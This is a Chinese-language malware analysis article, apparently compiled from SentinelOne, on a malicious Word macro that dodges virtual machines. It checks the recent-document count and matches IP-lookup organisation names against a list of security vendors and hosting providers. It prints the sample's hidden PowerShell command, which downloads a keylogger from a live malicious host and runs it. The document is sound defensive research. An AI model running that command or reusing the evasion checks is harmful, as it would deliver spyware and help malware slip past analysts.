最近,我分析到一个行为异常的恶意软件样本。由于很难发现该恶意软件的真实行为,所以我花了很多时间去调试分析。然而在分析过程中,又有多种因素会导致运行崩溃和异常。在此,我就发表了对该恶意软件反虚拟机的一些技术。
恶意软件样本文件名为“Intelligent Software Solutions Inc.doc“,其SHA256值为:
048fc07fb94a74990d2d2b8e92c099f3f986af185c32d74c857b07f7fcce7f8e
以下是样本文件打开运行时的示例:
如果这看起来不太可疑,请看其代码视图:
这是一个经典的教科书式的WORD恶意软件,它没有实质内容,但包括了经过混淆的可执行代码,看上去非常简洁。
从代码层面来看,顶部的分支程序像是程序的执行入口,很有可能是当WORD文档被打开后,点击“enable contenet” 执行Active X控件的操作,最终,程序会排错调用IuIxpP子程序。
在子程序 IuIxpP中,分别调用了两个方法DKTxHE 和 qrNjY,并抛出不同的执行错误。
其中,DKTxHE 功能为:
RecentFiles对象表示系统最近打开过的历史文档。通常,安装了word程序的用户可能会打开超过2个或更多数量的文档。然而,当该恶意软件植入到新创建的虚拟机和word环境中后,总是状况不断,不能正常运行。每次测试时手动打开一两次,总是出现程序异常。即使是保存了虚拟机镜像状态,重启调试分析后,恶意程序仍然不能正常执行。
从DKTxHE函数功能可以看出,恶意软件以RecentFiles数量来判断是否身处VM环境中,如果在VM环境中,它将不会执行任何恶意行为,非常“聪明”。之后,我随意创建了3个不同名称的word文档,逐一打开并关闭,让历史文档数量为3,最终成功运行并检测到了恶意软件。
原因很明了,虚拟机环境一般缺乏多个Word文档,恶意程序通过探测最近打开的历史文档数量,判断是否处于VM环境中,如果在最近打开文档数量内发现只有3个以下的word文档,就会拒绝执行。
在另一个子程序 qrNjY中,恶意软件通过探测IP信息来识别VM环境。首先,它通过向远程地址发出某种认证请求,
https://www.maxmind.com/geoip/v2.1/city/me
之后设置请求信息中的HTTP Refer属性和User-Agent值,访问链接:
https://www.maxmind.com/en/locate-my-ip-address
以此获取宿主系统的地址信息,如:
获取信息封装于JSON格式文件中,包含国家、城市、或者与IP相关的组织机构等信息。如:
{
"location": {
"latitude": 30.7858,
"longitude": -102.1232,
"metro_code": 705,
"accuracy_radius": 5,
"time_zone": "America/Los_Angeles"
},
"continent": {
"names": {
"ja": "北アメリカ",
"pt-BR": "América do Norte",
"de": "Nordamerika",
"es": "Norteamérica",
"ru": "Северная Америка",
"fr": "Amérique du Nord",
"zh-CN": "北美洲",
"en": "North America"
},
"code": "NA",
"geoname_id": 6255149
},
"city": {
"names": {
"pt-BR": "Oakland",
"de": "Oakland",
"es": "Oakland",
"ja": "オークランド",
"en": "Oakland",
"ru": "Окленд",
"fr": "Oakland",
"zh-CN": "奥克兰"
},
"geoname_id": 5378538
},
"postal": {
"code": "94619"
},
"country": {
"names": {
"ru": "США",
"fr": "états-Unis",
"zh-CN": "美国",
"en": "United States",
"ja": "アメリカ合衆国",
"es": "Estados Unidos",
"pt-BR": "Estados Unidos",
"de": "USA"
},
"iso_code": "US",
"geoname_id": 6252001
},
"traits": {
"organization": "Comcast Cable",
"isp": "Comcast Cable",
"ip_address": "123.123.123.123",
"autonomous_system_organization": "Comcast Cable Communications, LLC",
"domain": "comcast.net",
"autonomous_system_number": 7922
},
"registered_country": {
"geoname_id": 6252001,
"names": {
"zh-CN": "美国",
"ru": "США",
"fr": "états-Unis",
"en": "United States",
"ja": "アメリカ合衆国",
"pt-BR": "Estados Unidos",
"de": "USA",
"es": "Estados Unidos"
},
"iso_code": "US"
},
"subdivisions": [
{
"geoname_id": 5332921,
"names": {
"ru": "Калифорния",
"fr": "Californie",
"zh-CN": "加利福尼亚州",
"en": "California",
"ja": "カリフォルニア州",
"pt-BR": "Califórnia",
"es": "California",
"de": "Kalifornien"
},
"iso_code": "CA"
}
]
}
在以上示例文件中,IP信息的organization字段显示为美国Comcast宽带网络供应商。恶意软件发出访问请求后,获取到宿主系统的相关信息将存储于某个数组中。如果获取到的组织机构名称与以下JSON文件中的任何机构字符串匹配,恶意软件将发生异常并停止运行。
AmazonanonymousBitDefenderBlackOakComputersBlue CoatBlueCoatCiscocloudData CenterDataCenterDataCentrededicatedESET, SpolFireEyeForcePointFortinetHetznerhispeed.chhostedHostingIron PortIronPortLeaseWebMessageLabsMicrosoftMimeCastNForceOvh SasPalo AltoProofPointRackspacesecurityServerStrong TechnologiesTrend MicroTrendMicroTrustWaveVMVaultZscaler
当然,上述列表中的机构名称在代码中是经过混淆的:
以上信息表明,恶意程序通过检查,是否有网络服务商或杀毒软件公司相关的IP地址运行VM虚拟机对其进行调试分析,如果有,将停止运行。
如果恶意程序发现宿主系统有3个或以上的Word最近打开文档,将会执行远程下载解盘记录程序的PowerShell脚本:
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -command $f=[System.IO.Path]::GetTempFileName();(New-Object System.Net.WebClient).DownloadFile('http://silkflowersdecordesign.com/admin/worddata.dat', $f);(New-Object -com WScript.Shell).Exec($f)
http://silkflowersdecordesign.com/admin/worddata.dat中涉及的worddata.dat是一个轻量级的键盘记录程序,SHA256为19d884d3b688abf8e284d3bc6a06817096d15592bcd73f85a0e4b79749f2a744。
Researchers at Proofpoint 和Deepen Desai at zscaler两篇文章都对 anti-vm和anti-sandbox做了深入讨论,这些技术涉及到了不同种类的恶意软件,它们或许代表了VBA恶意软件的一种发展趋势。
当然,看雪论坛的一篇经典文章《虚拟机检测技术剖析》,也是非常值得学习的。
*参考来源:Sentinelone, *FB小编clouds编译,未经许可禁止转载